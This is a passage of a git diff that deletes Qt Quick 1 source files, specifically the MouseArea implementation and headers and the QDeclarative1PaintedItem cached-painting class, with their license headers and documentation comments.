QDeclarative1MouseArea::setAcceptedButtons(Qt::MouseButtons buttons) -{ - if (buttons != acceptedMouseButtons()) { - setAcceptedMouseButtons(buttons); - emit acceptedButtonsChanged(); - } -} - -bool QDeclarative1MouseArea::setPressed(bool p) -{ - Q_D(QDeclarative1MouseArea); - bool dragged = d->drag && d->drag->active(); - bool isclick = d->pressed == true && p == false && dragged == false && d->hovered == true; - - if (d->pressed != p) { - d->pressed = p; - QDeclarative1MouseEvent me(d->lastPos.x(), d->lastPos.y(), d->lastButton, d->lastButtons, d->lastModifiers, isclick, d->longPress); - if (d->pressed) { - if (!d->doubleClick) - emit pressed(&me); - me.setX(d->lastPos.x()); - me.setY(d->lastPos.y()); - emit mousePositionChanged(&me); - emit pressedChanged(); - } else { - emit released(&me); - me.setX(d->lastPos.x()); - me.setY(d->lastPos.y()); - emit pressedChanged(); - if (isclick && !d->longPress && !d->doubleClick) - emit clicked(&me); - } - - return me.isAccepted(); - } - return false; -} - -QDeclarative1Drag *QDeclarative1MouseArea::drag() -{ - Q_D(QDeclarative1MouseArea); - if (!d->drag) - d->drag = new QDeclarative1Drag; - return d->drag; -} - -/*! - \qmlproperty Item QtQuick1::MouseArea::drag.target - \qmlproperty bool QtQuick1::MouseArea::drag.active - \qmlproperty enumeration QtQuick1::MouseArea::drag.axis - \qmlproperty real QtQuick1::MouseArea::drag.minimumX - \qmlproperty real QtQuick1::MouseArea::drag.maximumX - \qmlproperty real QtQuick1::MouseArea::drag.minimumY - \qmlproperty real QtQuick1::MouseArea::drag.maximumY - \qmlproperty bool QtQuick1::MouseArea::drag.filterChildren - - \c drag provides a convenient way to make an item draggable. - - \list - \i \c drag.target specifies the id of the item to drag. - \i \c drag.active specifies if the target item is currently being dragged. - \i \c drag.axis specifies whether dragging can be done horizontally (\c Drag.XAxis), vertically (\c Drag.YAxis), or both (\c Drag.XandYAxis) - \i \c drag.minimum and \c drag.maximum limit how far the target can be dragged along the corresponding axes. - \endlist - - The following example displays a \l Rectangle that can be dragged along the X-axis. The opacity - of the rectangle is reduced when it is dragged to the right. - - \snippet doc/src/snippets/qtquick1/mousearea/mousearea.qml drag - - \note Items cannot be dragged if they are anchored for the requested - \c drag.axis. For example, if \c anchors.left or \c anchors.right was set - for \c rect in the above example, it cannot be dragged along the X-axis. - This can be avoided by settng the anchor value to \c undefined in - an \l onPressed handler. - - If \c drag.filterChildren is set to true, a drag can override descendant MouseAreas. This - enables a parent MouseArea to handle drags, for example, while descendants handle clicks: - - \snippet doc/src/snippets/qtquick1/mousearea/mouseareadragfilter.qml dragfilter - -*/ - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativemousearea_p.h b/src/qtquick1/graphicsitems/qdeclarativemousearea_p.h deleted file mode 100644 index 8be347ded2..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativemousearea_p.h +++ /dev/null @@ -1,217 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEMOUSEAREA_H -#define QDECLARATIVEMOUSEAREA_H - -#include "qdeclarativeitem.h" - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class Q_AUTOTEST_EXPORT QDeclarative1Drag : public QObject -{ - Q_OBJECT - - Q_ENUMS(Axis) - Q_PROPERTY(QGraphicsObject *target READ target WRITE setTarget NOTIFY targetChanged RESET resetTarget) - Q_PROPERTY(Axis axis READ axis WRITE setAxis NOTIFY axisChanged) - Q_PROPERTY(qreal minimumX READ xmin WRITE setXmin NOTIFY minimumXChanged) - Q_PROPERTY(qreal maximumX READ xmax WRITE setXmax NOTIFY maximumXChanged) - Q_PROPERTY(qreal minimumY READ ymin WRITE setYmin NOTIFY minimumYChanged) - Q_PROPERTY(qreal maximumY READ ymax WRITE setYmax NOTIFY maximumYChanged) - Q_PROPERTY(bool active READ active NOTIFY activeChanged) - Q_PROPERTY(bool filterChildren READ filterChildren WRITE setFilterChildren NOTIFY filterChildrenChanged) - //### consider drag and drop - -public: - QDeclarative1Drag(QObject *parent=0); - ~QDeclarative1Drag(); - - QGraphicsObject *target() const; - void setTarget(QGraphicsObject *); - void resetTarget(); - - enum Axis { XAxis=0x01, YAxis=0x02, XandYAxis=0x03 }; - Axis axis() const; - void setAxis(Axis); - - qreal xmin() const; - void setXmin(qreal); - qreal xmax() const; - void setXmax(qreal); - qreal ymin() const; - void setYmin(qreal); - qreal ymax() const; - void setYmax(qreal); - - bool active() const; - void setActive(bool); - - bool filterChildren() const; - void setFilterChildren(bool); - -Q_SIGNALS: - void targetChanged(); - void axisChanged(); - void minimumXChanged(); - void maximumXChanged(); - void minimumYChanged(); - void maximumYChanged(); - void activeChanged(); - void filterChildrenChanged(); - -private: - QGraphicsObject *_target; - Axis _axis; - qreal _xmin; - qreal _xmax; - qreal _ymin; - qreal _ymax; - bool _active : 1; - bool _filterChildren: 1; - Q_DISABLE_COPY(QDeclarative1Drag) -}; - -class QDeclarative1MouseEvent; -class QDeclarative1MouseAreaPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1MouseArea : public QDeclarativeItem -{ - Q_OBJECT - - Q_PROPERTY(qreal mouseX READ mouseX NOTIFY mousePositionChanged) - Q_PROPERTY(qreal mouseY READ mouseY NOTIFY mousePositionChanged) - Q_PROPERTY(bool containsMouse READ hovered NOTIFY hoveredChanged) - Q_PROPERTY(bool pressed READ pressed NOTIFY pressedChanged) - Q_PROPERTY(bool enabled READ isEnabled WRITE setEnabled NOTIFY enabledChanged) - Q_PROPERTY(Qt::MouseButtons pressedButtons READ pressedButtons NOTIFY pressedChanged) - Q_PROPERTY(Qt::MouseButtons acceptedButtons READ acceptedButtons WRITE setAcceptedButtons NOTIFY acceptedButtonsChanged) - Q_PROPERTY(bool hoverEnabled READ hoverEnabled WRITE setHoverEnabled NOTIFY hoverEnabledChanged) - Q_PROPERTY(QDeclarative1Drag *drag READ drag CONSTANT) //### add flicking to QDeclarative1Drag or add a QDeclarative1Flick ??? - Q_PROPERTY(bool preventStealing READ preventStealing WRITE setPreventStealing NOTIFY preventStealingChanged REVISION 1) - -public: - QDeclarative1MouseArea(QDeclarativeItem *parent=0); - ~QDeclarative1MouseArea(); - - qreal mouseX() const; - qreal mouseY() const; - - bool isEnabled() const; - void setEnabled(bool); - - bool hovered() const; - bool pressed() const; - - Qt::MouseButtons pressedButtons() const; - - Qt::MouseButtons acceptedButtons() const; - void setAcceptedButtons(Qt::MouseButtons buttons); - - bool hoverEnabled() const; - void setHoverEnabled(bool h); - - QDeclarative1Drag *drag(); - - bool preventStealing() const; - void setPreventStealing(bool prevent); - -Q_SIGNALS: - void hoveredChanged(); - void pressedChanged(); - void enabledChanged(); - void acceptedButtonsChanged(); - void hoverEnabledChanged(); - void positionChanged(QDeclarative1MouseEvent *mouse); - void mousePositionChanged(QDeclarative1MouseEvent *mouse); - Q_REVISION(1) void preventStealingChanged(); - - void pressed(QDeclarative1MouseEvent *mouse); - void pressAndHold(QDeclarative1MouseEvent *mouse); - void released(QDeclarative1MouseEvent *mouse); - void clicked(QDeclarative1MouseEvent *mouse); - void doubleClicked(QDeclarative1MouseEvent *mouse); - void entered(); - void exited(); - void canceled(); - -protected: - void setHovered(bool); - bool setPressed(bool); - - void mousePressEvent(QGraphicsSceneMouseEvent *event); - void mouseReleaseEvent(QGraphicsSceneMouseEvent *event); - void mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event); - void mouseMoveEvent(QGraphicsSceneMouseEvent *event); - void hoverEnterEvent(QGraphicsSceneHoverEvent *event); - void hoverMoveEvent(QGraphicsSceneHoverEvent *event); - void hoverLeaveEvent(QGraphicsSceneHoverEvent *event); -#ifndef QT_NO_CONTEXTMENU - void contextMenuEvent(QGraphicsSceneContextMenuEvent *event); -#endif // QT_NO_CONTEXTMENU - bool sceneEvent(QEvent *); - bool sendMouseEvent(QGraphicsSceneMouseEvent *event); - bool sceneEventFilter(QGraphicsItem *i, QEvent *e); - void timerEvent(QTimerEvent *event); - - virtual void geometryChanged(const QRectF &newGeometry, - const QRectF &oldGeometry); - virtual QVariant itemChange(GraphicsItemChange change, const QVariant& value); - -private: - void handlePress(); - void handleRelease(); - -private: - Q_DISABLE_COPY(QDeclarative1MouseArea) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1MouseArea) -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1Drag) -QML_DECLARE_TYPE(QDeclarative1MouseArea) - -QT_END_HEADER - -#endif // QDECLARATIVEMOUSEAREA_H diff --git a/src/qtquick1/graphicsitems/qdeclarativemousearea_p_p.h b/src/qtquick1/graphicsitems/qdeclarativemousearea_p_p.h deleted file mode 100644 index 6760a2f42b..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativemousearea_p_p.h +++ /dev/null @@ -1,128 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEMOUSEREGION_P_H -#define QDECLARATIVEMOUSEREGION_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "private/qdeclarativeitem_p.h" - -#include -#include -#include - -QT_BEGIN_NAMESPACE - -class QDeclarative1MouseAreaPrivate : public QDeclarativeItemPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1MouseArea) - -public: - QDeclarative1MouseAreaPrivate() - : absorb(true), hovered(false), pressed(false), longPress(false), - moved(false), stealMouse(false), doubleClick(false), preventStealing(false), drag(0) - { - } - - ~QDeclarative1MouseAreaPrivate(); - - void init() - { - Q_Q(QDeclarative1MouseArea); - q->setAcceptedMouseButtons(Qt::LeftButton); - q->setFiltersChildEvents(true); - } - - void saveEvent(QGraphicsSceneMouseEvent *event) { - lastPos = event->pos(); - lastScenePos = event->scenePos(); - lastButton = event->button(); - lastButtons = event->buttons(); - lastModifiers = event->modifiers(); - } - - bool isPressAndHoldConnected() { - Q_Q(QDeclarative1MouseArea); - static int idx = QObjectPrivate::get(q)->signalIndex("pressAndHold(QDeclarative1MouseEvent*)"); - return QObjectPrivate::get(q)->isSignalConnected(idx); - } - - bool isDoubleClickConnected() { - Q_Q(QDeclarative1MouseArea); - static int idx = QObjectPrivate::get(q)->signalIndex("doubleClicked(QDeclarative1MouseEvent*)"); - return QObjectPrivate::get(q)->isSignalConnected(idx); - } - - bool absorb : 1; - bool hovered : 1; - bool pressed : 1; - bool longPress : 1; - bool moved : 1; - bool dragX : 1; - bool dragY : 1; - bool stealMouse : 1; - bool doubleClick : 1; - bool preventStealing : 1; - QDeclarative1Drag *drag; - QPointF startScene; - qreal startX; - qreal startY; - QPointF lastPos; - QDeclarativeNullableValue lastScenePos; - Qt::MouseButton lastButton; - Qt::MouseButtons lastButtons; - Qt::KeyboardModifiers lastModifiers; - QBasicTimer pressAndHoldTimer; -}; - -QT_END_NAMESPACE - -#endif // QDECLARATIVEMOUSEREGION_P_H diff --git a/src/qtquick1/graphicsitems/qdeclarativepainteditem.cpp b/src/qtquick1/graphicsitems/qdeclarativepainteditem.cpp deleted file mode 100644 index f919cbb0b3..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativepainteditem.cpp +++ /dev/null @@ -1,501 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativepainteditem_p.h" -#include "QtQuick1/private/qdeclarativepainteditem_p_p.h" - -#include -#include -#include -#include -#include -#include -#include -#include - -QT_BEGIN_NAMESPACE - - - -/*! - \class QDeclarative1PaintedItem - \brief The QDeclarative1PaintedItem class is an abstract base class for QDeclarative1View items that want cached painting. - \internal - - This is a convenience class for implementing items that cache their painting. - The contents of the item are cached behind the scenes. - The dirtyCache() function should be called if the contents change to - ensure the cache is refreshed the next time painting occurs. - - To subclass QDeclarative1PaintedItem, you must reimplement drawContents() to draw - the contents of the item. -*/ - -/*! - \fn void QDeclarative1PaintedItem::drawContents(QPainter *painter, const QRect &rect) - - This function is called when the cache needs to be refreshed. When - sub-classing QDeclarative1PaintedItem this function should be implemented so as to - paint the contents of the item using the given \a painter for the - area of the contents specified by \a rect. -*/ - -/*! - \property QDeclarative1PaintedItem::contentsSize - \brief The size of the contents - - The contents size is the size of the item in regards to how it is painted - using the drawContents() function. This is distinct from the size of the - item in regards to height() and width(). -*/ - -// XXX bug in WebKit - can call repaintRequested and other cache-changing functions from within render! -static int inpaint=0; -static int inpaint_clearcache=0; - -extern Q_GUI_EXPORT bool qt_applefontsmoothing_enabled; - -/*! - Marks areas of the cache that intersect with the given \a rect as dirty and - in need of being refreshed. - - \sa clearCache() -*/ -void QDeclarative1PaintedItem::dirtyCache(const QRect& rect) -{ - Q_D(QDeclarative1PaintedItem); - QRect srect(qCeil(rect.x()*d->contentsScale), - qCeil(rect.y()*d->contentsScale), - qCeil(rect.width()*d->contentsScale), - qCeil(rect.height()*d->contentsScale)); - for (int i=0; i < d->imagecache.count(); ) { - QDeclarative1PaintedItemPrivate::ImageCacheItem *c = d->imagecache[i]; - QRect isect = (c->area & srect) | c->dirty; - if (isect == c->area && !inpaint) { - delete d->imagecache.takeAt(i); - } else { - c->dirty = isect; - ++i; - } - } -} - -/*! - Marks the entirety of the contents cache as dirty. - - \sa dirtyCache() -*/ -void QDeclarative1PaintedItem::clearCache() -{ - if (inpaint) { - inpaint_clearcache=1; - return; - } - Q_D(QDeclarative1PaintedItem); - qDeleteAll(d->imagecache); - d->imagecache.clear(); -} - -/*! - Returns the size of the contents. - - \sa setContentsSize() -*/ -QSize QDeclarative1PaintedItem::contentsSize() const -{ - Q_D(const QDeclarative1PaintedItem); - return d->contentsSize; -} - -/*! - Sets the size of the contents to the given \a size. - - \sa contentsSize() -*/ -void QDeclarative1PaintedItem::setContentsSize(const QSize &size) -{ - Q_D(QDeclarative1PaintedItem); - if (d->contentsSize == size) return; - prepareGeometryChange(); - d->contentsSize = size; - clearCache(); - update(); - emit contentsSizeChanged(); -} - -qreal QDeclarative1PaintedItem::contentsScale() const -{ - Q_D(const QDeclarative1PaintedItem); - return d->contentsScale; -} - -void QDeclarative1PaintedItem::setContentsScale(qreal scale) -{ - Q_D(QDeclarative1PaintedItem); - if (d->contentsScale == scale) return; - d->contentsScale = scale; - clearCache(); - update(); - emit contentsScaleChanged(); -} - - -/*! - Constructs a new QDeclarative1PaintedItem with the given \a parent. -*/ -QDeclarative1PaintedItem::QDeclarative1PaintedItem(QDeclarativeItem *parent) - : QDeclarativeItem(*(new QDeclarative1PaintedItemPrivate), parent) -{ -} - -/*! - \internal - Constructs a new QDeclarative1PaintedItem with the given \a parent and - initialized private data member \a dd. -*/ -QDeclarative1PaintedItem::QDeclarative1PaintedItem(QDeclarative1PaintedItemPrivate &dd, QDeclarativeItem *parent) - : QDeclarativeItem(dd, parent) -{ -} - -/*! - Destroys the image item. -*/ -QDeclarative1PaintedItem::~QDeclarative1PaintedItem() -{ - clearCache(); -} - -void QDeclarative1PaintedItem::geometryChanged(const QRectF &newGeometry, - const QRectF &oldGeometry) -{ - if (newGeometry.width() != oldGeometry.width() || - newGeometry.height() != oldGeometry.height()) - clearCache(); - - QDeclarativeItem::geometryChanged(newGeometry, oldGeometry); -} - -QVariant QDeclarative1PaintedItem::itemChange(GraphicsItemChange change, - const QVariant &value) -{ - if (change == ItemVisibleHasChanged) - clearCache(); - - return QDeclarativeItem::itemChange(change, value); -} - -void QDeclarative1PaintedItem::setCacheFrozen(bool frozen) -{ - Q_D(QDeclarative1PaintedItem); - if (d->cachefrozen == frozen) - return; - d->cachefrozen = frozen; - // XXX clear cache? -} - -QRectF QDeclarative1PaintedItem::boundingRect() const -{ - Q_D(const QDeclarative1PaintedItem); - qreal w = d->mWidth; - QSizeF sz = d->contentsSize * d->contentsScale; - if (w < sz.width()) - w = sz.width(); - qreal h = d->mHeight; - if (h < sz.height()) - h = sz.height(); - return QRectF(0.0,0.0,w,h); -} - -/*! - \internal -*/ -void QDeclarative1PaintedItem::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *) -{ - Q_D(QDeclarative1PaintedItem); - const QRect content = boundingRect().toRect(); - if (content.width() <= 0 || content.height() <= 0) - return; - - ++inpaint; - - const QTransform &x = p->deviceTransform(); - QTransform xinv = x.inverted(); - QRegion effectiveClip; - QRegion sysClip = p->paintEngine()->systemClip(); - if (xinv.type() <= QTransform::TxScale && sysClip.rectCount() < 5) { - // simple transform, region gets no more complicated... - effectiveClip = xinv.map(sysClip); - } else { - // do not make complicated regions... - effectiveClip = xinv.mapRect(sysClip.boundingRect()); - } - - QRegion topaint = p->clipRegion(); - if (topaint.isEmpty()) { - if (effectiveClip.isEmpty()) - topaint = QRect(0,0,p->device()->width(),p->device()->height()); - else - topaint = effectiveClip; - } else if (!effectiveClip.isEmpty()) { - topaint &= effectiveClip; - } - - topaint &= content; - QRegion uncached(content); - p->setRenderHints(QPainter::SmoothPixmapTransform, d->smooth); - - int cachesize=0; - for (int i=0; iimagecache.count(); ++i) { - QRect area = d->imagecache[i]->area; - if (topaint.contains(area)) { - QRectF target(area.x(), area.y(), area.width(), area.height()); - if (!d->cachefrozen) { - if (!d->imagecache[i]->dirty.isNull() && topaint.contains(d->imagecache[i]->dirty)) { -#ifdef Q_WS_MAC - bool oldSmooth = qt_applefontsmoothing_enabled; - qt_applefontsmoothing_enabled = false; -#endif - QPainter qp(&d->imagecache[i]->image); -#ifdef Q_WS_MAC - qt_applefontsmoothing_enabled = oldSmooth; -#endif - qp.setRenderHints(QPainter::HighQualityAntialiasing | QPainter::TextAntialiasing | QPainter::SmoothPixmapTransform, d->smoothCache); - qp.translate(-area.x(), -area.y()); - qp.scale(d->contentsScale,d->contentsScale); - QRect clip = d->imagecache[i]->dirty; - QRect sclip(qFloor(clip.x()/d->contentsScale), - qFloor(clip.y()/d->contentsScale), - qCeil(clip.width()/d->contentsScale+clip.x()/d->contentsScale-qFloor(clip.x()/d->contentsScale)), - qCeil(clip.height()/d->contentsScale+clip.y()/d->contentsScale-qFloor(clip.y()/d->contentsScale))); - qp.setClipRect(sclip); - if (d->fillColor.isValid()){ - if(d->fillColor.alpha() < 255){ - // ### Might not work outside of raster paintengine - QPainter::CompositionMode prev = qp.compositionMode(); - qp.setCompositionMode(QPainter::CompositionMode_Source); - qp.fillRect(sclip,d->fillColor); - qp.setCompositionMode(prev); - }else{ - qp.fillRect(sclip,d->fillColor); - } - } - drawContents(&qp, sclip); - d->imagecache[i]->dirty = QRect(); - } - } - p->drawPixmap(target.toRect(), d->imagecache[i]->image); - topaint -= area; - d->imagecache[i]->age=0; - } else { - d->imagecache[i]->age++; - } - cachesize += area.width()*area.height(); - uncached -= area; - } - - if (!topaint.isEmpty()) { - if (!d->cachefrozen) { - // Find a sensible larger area, otherwise will paint lots of tiny images. - QRect biggerrect = topaint.boundingRect().adjusted(-64,-64,128,128); - cachesize += biggerrect.width() * biggerrect.height(); - while (d->imagecache.count() && cachesize > d->max_imagecache_size) { - int oldest=-1; - int age=-1; - for (int i=0; iimagecache.count(); ++i) { - int a = d->imagecache[i]->age; - if (a > age) { - oldest = i; - age = a; - } - } - cachesize -= d->imagecache[oldest]->area.width()*d->imagecache[oldest]->area.height(); - uncached += d->imagecache[oldest]->area; - delete d->imagecache.takeAt(oldest); - } - const QRegion bigger = QRegion(biggerrect) & uncached; - const QVector rects = bigger.rects(); - for (int i = 0; i < rects.count(); ++i) { - const QRect &r = rects.at(i); - QPixmap img(r.size()); - if (d->fillColor.isValid()) - img.fill(d->fillColor); - { -#ifdef Q_WS_MAC - bool oldSmooth = qt_applefontsmoothing_enabled; - qt_applefontsmoothing_enabled = false; -#endif - QPainter qp(&img); -#ifdef Q_WS_MAC - qt_applefontsmoothing_enabled = oldSmooth; -#endif - qp.setRenderHints(QPainter::HighQualityAntialiasing | QPainter::TextAntialiasing | QPainter::SmoothPixmapTransform, d->smoothCache); - - qp.translate(-r.x(),-r.y()); - qp.scale(d->contentsScale,d->contentsScale); - QRect sclip(qFloor(r.x()/d->contentsScale), - qFloor(r.y()/d->contentsScale), - qCeil(r.width()/d->contentsScale+r.x()/d->contentsScale-qFloor(r.x()/d->contentsScale)), - qCeil(r.height()/d->contentsScale+r.y()/d->contentsScale-qFloor(r.y()/d->contentsScale))); - drawContents(&qp, sclip); - } - QDeclarative1PaintedItemPrivate::ImageCacheItem *newitem = new QDeclarative1PaintedItemPrivate::ImageCacheItem; - newitem->area = r; - newitem->image = img; - d->imagecache.append(newitem); - p->drawPixmap(r, newitem->image); - } - } else { - const QVector rects = uncached.rects(); - for (int i = 0; i < rects.count(); ++i) - p->fillRect(rects.at(i), Qt::lightGray); - } - } - - if (inpaint_clearcache) { - clearCache(); - inpaint_clearcache = 0; - } - - --inpaint; -} - -/*! - \qmlproperty int QtQuick1::PaintedItem::pixelCacheSize - - This property holds the maximum number of pixels of image cache to - allow. The default is 0.1 megapixels. The cache will not be larger - than the (unscaled) size of the WebView. -*/ -/*! - \property QDeclarative1PaintedItem::pixelCacheSize - - The maximum number of pixels of image cache to allow. The default - is 0.1 megapixels. The cache will not be larger than the (unscaled) - size of the QDeclarative1PaintedItem. -*/ -int QDeclarative1PaintedItem::pixelCacheSize() const -{ - Q_D(const QDeclarative1PaintedItem); - return d->max_imagecache_size; -} - -void QDeclarative1PaintedItem::setPixelCacheSize(int pixels) -{ - Q_D(QDeclarative1PaintedItem); - if (pixels < d->max_imagecache_size) { - int cachesize=0; - for (int i=0; iimagecache.count(); ++i) { - QRect area = d->imagecache[i]->area; - cachesize += area.width()*area.height(); - } - while (d->imagecache.count() && cachesize > pixels) { - int oldest=-1; - int age=-1; - for (int i=0; iimagecache.count(); ++i) { - int a = d->imagecache[i]->age; - if (a > age) { - oldest = i; - age = a; - } - } - cachesize -= d->imagecache[oldest]->area.width()*d->imagecache[oldest]->area.height(); - delete d->imagecache.takeAt(oldest); - } - } - d->max_imagecache_size = pixels; -} - - - -/*! - \property QDeclarative1PaintedItem::fillColor - - The color to be used to fill the item prior to calling drawContents(). - By default, this is Qt::transparent. - - Performance improvements can be achieved if subclasses call this with either an - invalid color (QColor()), or an appropriate solid color. -*/ -void QDeclarative1PaintedItem::setFillColor(const QColor& c) -{ - Q_D(QDeclarative1PaintedItem); - if (d->fillColor == c) - return; - d->fillColor = c; - emit fillColorChanged(); - update(); -} - -QColor QDeclarative1PaintedItem::fillColor() const -{ - Q_D(const QDeclarative1PaintedItem); - return d->fillColor; -} - -/*! - \qmlproperty bool QtQuick1::PaintedItem::smoothCache - - Controls whether the cached tiles of which the item is composed are - rendered smoothly when they are generated. - - This is in addition toe Item::smooth, which controls the smooth painting of - the already-painted cached tiles under transformation. -*/ -bool QDeclarative1PaintedItem::smoothCache() const -{ - Q_D(const QDeclarative1PaintedItem); - return d->smoothCache; -} - -void QDeclarative1PaintedItem::setSmoothCache(bool on) -{ - Q_D(QDeclarative1PaintedItem); - if (d->smoothCache != on) { - d->smoothCache = on; - clearCache(); - } -} - - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativepainteditem_p.h b/src/qtquick1/graphicsitems/qdeclarativepainteditem_p.h deleted file mode 100644 index cafbc76be7..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativepainteditem_p.h +++ /dev/null @@ -1,117 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEIMAGEITEM_H -#define QDECLARATIVEIMAGEITEM_H - -#include "qdeclarativeitem.h" - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1PaintedItemPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1PaintedItem : public QDeclarativeItem -{ - Q_OBJECT - - Q_PROPERTY(QSize contentsSize READ contentsSize WRITE setContentsSize NOTIFY contentsSizeChanged) - Q_PROPERTY(QColor fillColor READ fillColor WRITE setFillColor NOTIFY fillColorChanged) - Q_PROPERTY(int pixelCacheSize READ pixelCacheSize WRITE setPixelCacheSize) - Q_PROPERTY(bool smoothCache READ smoothCache WRITE setSmoothCache) - Q_PROPERTY(qreal contentsScale READ contentsScale WRITE setContentsScale NOTIFY contentsScaleChanged) - - -public: - QDeclarative1PaintedItem(QDeclarativeItem *parent=0); - ~QDeclarative1PaintedItem(); - - QSize contentsSize() const; - void setContentsSize(const QSize &); - - qreal contentsScale() const; - void setContentsScale(qreal); - - int pixelCacheSize() const; - void setPixelCacheSize(int pixels); - - bool smoothCache() const; - void setSmoothCache(bool on); - - QColor fillColor() const; - void setFillColor(const QColor&); - - void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *); - -protected: - QDeclarative1PaintedItem(QDeclarative1PaintedItemPrivate &dd, QDeclarativeItem *parent); - - virtual void drawContents(QPainter *p, const QRect &) = 0; - virtual void geometryChanged(const QRectF &newGeometry, - const QRectF &oldGeometry); - virtual QVariant itemChange(GraphicsItemChange change, - const QVariant &value); - - void setCacheFrozen(bool); - QRectF boundingRect() const; - -Q_SIGNALS: - void fillColorChanged(); - void contentsSizeChanged(); - void contentsScaleChanged(); - -protected Q_SLOTS: - void dirtyCache(const 